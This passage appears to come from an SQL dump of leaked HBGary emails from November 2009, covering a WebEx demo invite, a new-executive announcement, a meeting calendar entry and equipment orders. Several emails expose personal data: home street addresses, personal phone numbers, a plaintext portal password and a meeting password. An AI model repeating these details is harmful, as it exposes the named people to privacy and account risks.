https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=135078802&tollFree=0   Access code:571 847 870   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click &quot;Support&quot;.   You can contact me at:   scott@hbgary.com  1-916-469-4727   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',11374,'aaron_hbgary_com/11374.html'),(20,'2009-11-23','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999623.M45531P3547Q19.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <tedvera@me.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','Great Ted. Ideally, I\'d like to get them by tomorrow (Tuesday) so we could possibly distribute a final release next Monday November 30th, but any time over the next few days would be fine. I know it is a short week and everyone is trying to get a lot done before Thanksgiving! Best, Karen&nbsp;\r\n&nbsp;\r\n--- On Mon, 11/23/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Penny Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 10:35 AM\r\nHi Karen,\r\n\r\nAaron and I are drafting bios, business objectives and will dig up headshots for you. &nbsp;What is the suspense date you need these by?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 11:31 AM, Penny Hoglund wrote:\r\n\r\n\r\n\r\nKaren,\r\n&nbsp;\r\nI’m copying Ted and Aaron, you guys coordinate\r\n&nbsp;\r\n\r\nFrom:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 9:44 AMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nGreat Penny. I can draft release for possible release on Monday November 30th. Do we have bios (and headshots) of both execs? If not, I\'m sure I can find online somewhere. Also, I think we need to use release to highlight HBGary Federal business objectives -- do you have a few bulletpoint that you could send? Thanks, Karen&nbsp;--- On&nbsp;Mon, 11/23/09, Penny Hoglund&nbsp;&lt;penny@hbgary.com&gt;&nbsp;wrote:\r\nFrom: Penny Hoglund &lt;penny@hbgary.com&gt;Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 9:29 AM\r\n\r\n\r\nWe need a press release for this\r\n&nbsp;\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 8:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\nI am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp;\r\n Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!\r\n&nbsp;\r\n\r\n-Greg Hoglund\r\n\r\nCEO, HBGary, Inc.\r\n__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around&nbsp;http://mail.yahoo.com__________________________________________________Do You Yahoo!?Tired of spam?  Yahoo! Mail has the best spam protection around http://mail.yahoo.com',14593,'aaron_hbgary_com/14593.html'),(21,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999623.M503243P3547Q21.eml','scott@hbgary.com','Re: Please join now, meeting in progress: portal demo','Hey Scott,Sorry I missed this.  Can we reschedule?  Was this just for Ted and me?AaronOn Mon, Nov 23, 2009 at 2:55 PM, Scott Pease &lt;messenger@webex.com&gt; wrote:\r\nHello ,   Please join my meeting that is currently in progress. \r\n  Topic: portal demo  Date: Monday, November 23, 2009  Time: 11:55 am, Pacific Standard Time (San Francisco, GMT-08:00)  Meeting Number: 571 847 870  Meeting Password: 123qwe    ------------------------------------------------------- \r\n To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=135078802&amp;UID=1103899382&amp;PW=NZmZkMzQwMmFl&amp;RT=MiM0 \r\n 2. Enter your name and email address.  3. Enter the meeting password: 123qwe  4. Click &quot;Join Now&quot;.  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link: \r\n https://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=135078802&amp;UID=1103899382&amp;PW=NZmZkMzQwMmFl&amp;ORT=MiM0 \r\n  -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=135078802&amp;tollFree=0 \r\n  Access code:571 847 870   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc \r\n 2. On the left navigation bar, click &quot;Support&quot;.   You can contact me at:   scott@hbgary.com  1-916-469-4727   Sign up for a free trial of WebEx \r\n http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session. \r\n \r\n',3100,'aaron_hbgary_com/3100.html'),(22,'2009-11-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999623.M742223P3547Q22.eml','aaron@hbgary.com,\"Aaron Barr\" <adbarr@mac.com>','Aaron and Bob meet','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=aaron@hbgary.com;RSVP=TRUE:mailto:aaron@hbgary.com\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:adbarr@mac.com\r\nCLASS:PUBLIC\r\nCREATED:20091123T215609Z\r\nDESCRIPTION:When: Tuesday\\, November 24\\, 2009 11:00 AM-2:30 PM (GMT-05:00)\r\n	 Eastern Time (US & Canada).\\nWhere: 2010 Corporate Ridge\\, Suite # 700\\, \r\n	McLean\\, VA / 703 749 7700\\n\\nNote: The GMT offset above does not reflect \r\n	daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\nAaron\\,\\n\\nLet\r\n	’s start off at this office location and work there from 11am to 1pm\\, t\r\n	hen we can relocate to lunch until 2:30 when I’ll need to go to my appoi\r\n	ntment.  You can come to the appointment if you want.  We are meeting with\r\n	 Booz Allen Hamilton to present and demo our software.  They are already a\r\n	 customer and they are introducing us to others there.\\n\\nBob Slapnik  |  \r\n	Vice President  |  HBGary\\, Inc.\\nPhone 301-652-8885 x104  |  Mobile 240-4\r\n	81-1419\\nbob@hbgary.com  |  www.hbgary.com\\n\\n\r\nDTEND:20091124T193000Z\r\nDTSTAMP:20091123T215609Z\r\nDTSTART:20091124T160000Z\r\nLAST-MODIFIED:20091123T215610Z\r\nLOCATION:2010 Corporate Ridge\\, Suite # 700\\, McLean\\, VA / 703 749 7700\r\nORGANIZER;CN=\"Bob Slapnik\":mailto:bob@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Aaron and Bob meet\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000005ECAB45D6CCA01000000000000000\r\n	010000000C204074CF05CD54FB25A2680685B7A9E\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Tuesday\\, November 24\\, 2009 11:00 AM-2:30 PM (GMT-05:00) Easter\r\n	n Time (US &amp\\; Canada).\\n\\nWhere: 2010 Corporate Ridge\\, Suite # 700\\, McLea\r\n	n\\, VA / 703 749 7700\\n\\nNote: The GMT offset above does not reflect daylight s\r\n	aving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\r\n	Aaron\\,\\n\\nLet’s start off at this of\r\n	fice location and work there from 11am to 1pm\\, then we can relocate to lu\r\n	nch until 2:30 when I’ll need to go to my appointment.&nbsp\\; You can co\r\n	me to the appointment if you want.&nbsp\\; We are meeting with Booz Allen H\r\n	amilton to present and demo our software.&nbsp\\; They are already a custom\r\n	er and they are introducing us to others there.\\n\\nBo\r\n	b Slapnik&nbsp\\; |&nbsp\\; Vice President&nbsp\\; |&nbsp\\; HBGary\\, Inc.\\n\\nPhone\r\n	 301-652-8885 x104&nbsp\\; |&nbsp\\; Mobile 240-481-1419\\n\r\n	\\nbob@hbgary.com&nbsp\r\n	\\; |&nbsp\\; www.hbgary.com\\n\r\n	\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Bob Slapnik\":mailto:bob@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',16847,'aaron_hbgary_com/16847.html'),(23,'2009-11-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999623.M927175P3547Q23.eml','\"Aaron Barr\" <aaron@hbgary.com>','Address','Ship to:874 Legend Oak Dr.Fountain CO 80817 ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',12351,'aaron_hbgary_com/12351.html'),(24,'2009-11-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999624.M145148P3547Q24.eml','\"Aaron Barr\" <aaron@hbgary.com>','pico projector','http://www.aaxatech.com/products/p2_pico_projector.htm ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',15502,'aaron_hbgary_com/15502.html'),(25,'2009-11-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999624.M357506P3547Q25.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pico Projectors','Need this cable as well, from accessories page:AAXA P2 iPod A/V CableCarries audio/video signalsFull VGA (640x480) resolutionWorks with iPod, iPhone, iTouchAdditional Product Info&nbsp;MSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp; ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',16786,'aaron_hbgary_com/16786.html'),(26,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999624.M561953P3547Q26.eml','deeann@hbgary.com,deeann@hbgary.com,','laptops and projectors for Ted and Aaron','2 of each2 Macbook Pros with the following Specs:2.66GHz Intel Core 2 Duo\r\n	    \r\n	\r\n	    \r\n            8GB 1066MHz DDR3 SDRAM - 2x4GB\r\n	    \r\n	\r\n	    \r\n            320GB Serial ATA Drive @ 5400 rpm\r\n	    \r\n	\r\n	    \r\n            SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)\r\n	    \r\n	\r\n	    \r\n            MacBook Pro 15-inch Antiglare Widescreen Display\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n            None\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n	\r\n	    \r\n		\r\nBacklit Keyboard (English) / User\'s GuideNoneNoneNoneNoneNoneNoneNoneNoneNoneApple MagSafe Airline Power AdapterApple Remote2 pico projectors:http://www.aaxatech.com/products/p2_pico_projector.htmNeed this cable as well, from accessories page:AAXA P2 iPod A/V CableCarries audio/video signalsFull VGA (640x480) resolutionWorks with iPod, iPhone, iTouchAdditional Product Info&nbsp;MSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;Aarons Address:1223 Potomac School Rd.Mclean VA 22101Teds Address:874 Legend Oak Dr.Fountain CO 80817Can I get business cards this week? &nbsp;I have a conference I would like to have them for next tues or wed.Aaron BarrCEOHBGary FederalAddress: (what do the other DC folks use?)Phone: I think Penny was going to get a number for me.',11471,'aaron_hbgary_com/11471.html'),(27,'2009-11-23','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999624.M808731P3547Q27.eml','\"Aaron Barr\" <aaron@hbgary.com>,deeann@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','RE: laptops and projectors for Ted and Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want your cell phone on the card?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:14 PM\r\nTo: deeann@hbgary.com\r\nCc: Ted Vera; Penny Leavy\r\nSubject: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n2 of each\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 Macbook Pros with the following Specs:\r\n\r\n\r\n\r\n\r\n\r\n·  2.66GHz Intel\r\nCore 2 Duo \r\n\r\n·  8GB 1066MHz DDR3\r\nSDRAM - 2x4GB \r\n\r\n·  320GB Serial ATA\r\nDrive @ 5400 rpm \r\n\r\n·  SuperDrive 8x\r\n(DVD±R DL/DVD±RW/CD-RW) \r\n\r\n·  MacBook Pro\r\n15-inch Antiglare Widescreen Display \r\n\r\n·  None \r\n\r\n·  Backlit Keyboard\r\n(English) / User\'s Guide\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  Apple MagSafe\r\nAirline Power Adapter\r\n\r\n·  Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 pico projectors:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\nNeed this cable as well, from accessories page:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAAXA P2\r\niPod A/V Cable\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarries audio/video signals\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFull VGA (640x480) resolution\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWorks with iPod, iPhone, iTouch\r\n\r\nAdditional Product Info&nbsp;\r\n\r\nMSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons Address:\r\n\r\n\r\n\r\n\r\n\r\n1223 Potomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean VA 22101\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeds Address:\r\n\r\n\r\n\r\n\r\n\r\n874 Legend Oak Dr.\r\n\r\n\r\n\r\nFountain CO 80817\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan I get business cards this week? &nbsp;I have a\r\nconference I would like to have them for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\nAddress: (what do the other DC folks use?)\r\n\r\n\r\n\r\n\r\n\r\nPhone: I think Penny was going to get a number for me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16431,'aaron_hbgary_com/16431.html'),(28,'2009-11-23','\"WordPress\" <wordpress@hbgary.com>','/aaron@hbgary.com/new/1296999625.M14713P3547Q28.eml','aaron@hbgary.com','New User Registration at HBGary.','Thank you for registering at HBGary.  Here is your new user information:\r\nName: Aaron Barr\r\nUsername: aaron@hbgary.com\r\nPassword: 0ylgfZmAln!#\r\n\r\nYour account has been flagged to download both FlyPaper and FastDump Community Edition.  You can access these downloads from the \'My Downloads\' section of http://portal.hbgary.com.  If you have any further questions, please send an email to support@hbgary.com.\r\n\r\nThank you!\r\nHBGary, Inc\r\nTechnical SupportTo login please visit: https://www.hbgary.com/wp-login.php?redirect_to=http://www.hbgary.com\r\n\r\n',3553,'aaron_hbgary_com/3553.html'),(29,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999625.M210241P3547Q29.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: laptops and projectors for Ted and Aaron','Sure so VOIP and Cell right?AaronOn Nov 23, 2009, at 5:13 PM, Penny Hoglund wrote:Do you want your cell phone on the card?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 2:14 PMTo:&nbsp;deeann@hbgary.comCc:&nbsp;Ted Vera; Penny LeavySubject:&nbsp;laptops and projectors for Ted and Aaron&nbsp;2 of each&nbsp;2 Macbook Pros with the following Specs:·&nbsp; 2.66GHz Intel Core 2 Duo·&nbsp; 8GB 1066MHz DDR3 SDRAM - 2x4GB·&nbsp; 320GB Serial ATA Drive @ 5400 rpm·&nbsp; SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)·&nbsp; MacBook Pro 15-inch Antiglare Widescreen Display·&nbsp; None·&nbsp; Backlit Keyboard (English) / User\'s Guide·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; Apple MagSafe Airline Power Adapter·&nbsp; Apple Remote&nbsp;&nbsp;2 pico projectors:http://www.aaxatech.com/products/p2_pico_projector.htmNeed this cable as well, from accessories page:&nbsp;AAXA P2 iPod A/V Cable·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Carries audio/video signals·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Full VGA (640x480) resolution·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Works with iPod, iPhone, iTouchAdditional Product Info&nbsp;MSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;&nbsp;Aarons Address:1223 Potomac School Rd.Mclean VA 22101&nbsp;Teds Address:874 Legend Oak Dr.Fountain CO 80817&nbsp;&nbsp;Can I get business cards this week? &nbsp;I have a conference I would like to have them for next tues or wed.Aaron BarrCEOHBGary FederalAddress: (what do the other DC folks use?)Phone: I think Penny was going to get a number for me.&nbsp;&nbsp;&nbsp;',11346,'aaron_hbgary_com/11346.html'),(30,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999625.M401946P3547Q30.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','Hey Greg. &nbsp;I just registered for the portal.When do you want to get together this week to talk?I will be with Bob from 10:30-3pm tomorrow and, &nbsp;I have a meeting from 8-9am.Wednesday I am open.AaronOn Nov 23, 2009, at 11:13 AM, Greg Hoglund wrote:I am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp; Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!&nbsp; -Greg Hoglund CEO, HBGary, Inc.',7236,'aaron_hbgary_com/7236.html'),(31,'2009-11-23','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999625.M606029P3547Q31.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: laptops and projectors for Ted and Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI am working on getting your computers  now.  I will get back to\r\nas soon as I hear back from my supplier.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGARY, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\ntel:   916-459-4727  ext.  101\r\n\r\nfax:  916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:14 PM\r\nTo: deeann@hbgary.com\r\nCc: Ted Vera; Penny Leavy\r\nSubject: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n2 of each\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 Macbook Pros with the following Specs:\r\n\r\n\r\n\r\n\r\n\r\n·  2.66GHz Intel\r\nCore 2 Duo \r\n\r\n·  8GB 1066MHz DDR3\r\nSDRAM - 2x4GB \r\n\r\n·  320GB Serial ATA\r\nDrive @ 5400 rpm \r\n\r\n·  SuperDrive 8x\r\n(DVD±R DL/DVD±RW/CD-RW) \r\n\r\n·  MacBook Pro\r\n15-inch Antiglare Widescreen Display \r\n\r\n·  None \r\n\r\n·  Backlit Keyboard\r\n(English) / User\'s Guide\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  Apple MagSafe\r\nAirline Power Adapter\r\n\r\n·  Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 pico projectors:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\nNeed this cable as well, from accessories page:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAAXA P2\r\niPod A/V Cable\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarries audio/video signals\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFull VGA (640x480) resolution\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWorks with iPod, iPhone, iTouch\r\n\r\nAdditional Product Info&nbsp;\r\n\r\nMSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons Address:\r\n\r\n\r\n\r\n\r\n\r\n1223 Potomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean VA 22101\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeds Address:\r\n\r\n\r\n\r\n\r\n\r\n874 Legend Oak Dr.\r\n\r\n\r\n\r\nFountain CO 80817\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan I get business cards this week? &nbsp;I have a\r\nconference I would like to have them for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\nAddress: (what do the other DC folks use?)\r\n\r\n\r\n\r\n\r\n\r\nPhone: I think Penny was going to get a number for me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15084,'aaron_hbgary_com/15084.html'),(32,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999625.M803520P3547Q32.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: laptops and projectors for Ted and Aaron','Thank you Deeann.AaronFrom my iPhoneOn Nov 23, 2009, at 5:34 PM, &quot;DeeAnn Buonaccorsi&quot; &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI am working on getting your computers  now.  I will get back to\r\nas soon as I hear back from my supplier.\r\n\r\n \r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGARY, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\ntel:   916-459-4727  ext.  101\r\n\r\nfax:  916-481-1460\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:14 PM\r\nTo: deeann@hbgary.com\r\nCc: Ted Vera; Penny Leavy\r\nSubject: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n2 of each\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n2 Macbook Pros with the following Specs:\r\n\r\n\r\n\r\n\r\n\r\n·  2.66GHz Intel\r\nCore 2 Duo \r\n\r\n·  8GB 1066MHz DDR3\r\nSDRAM - 2x4GB \r\n\r\n·  320GB Serial ATA\r\nDrive @ 5400 rpm \r\n\r\n·  SuperDrive 8x\r\n(DVD±R DL/DVD±RW/CD-RW) \r\n\r\n·  MacBook Pro\r\n15-inch Antiglare Widescreen Display \r\n\r\n·  None \r\n\r\n·  Backlit Keyboard\r\n(English) / User&#39;s Guide\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  None\r\n\r\n·  Apple MagSafe\r\nAirline Power Adapter\r\n\r\n·  Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n2 pico 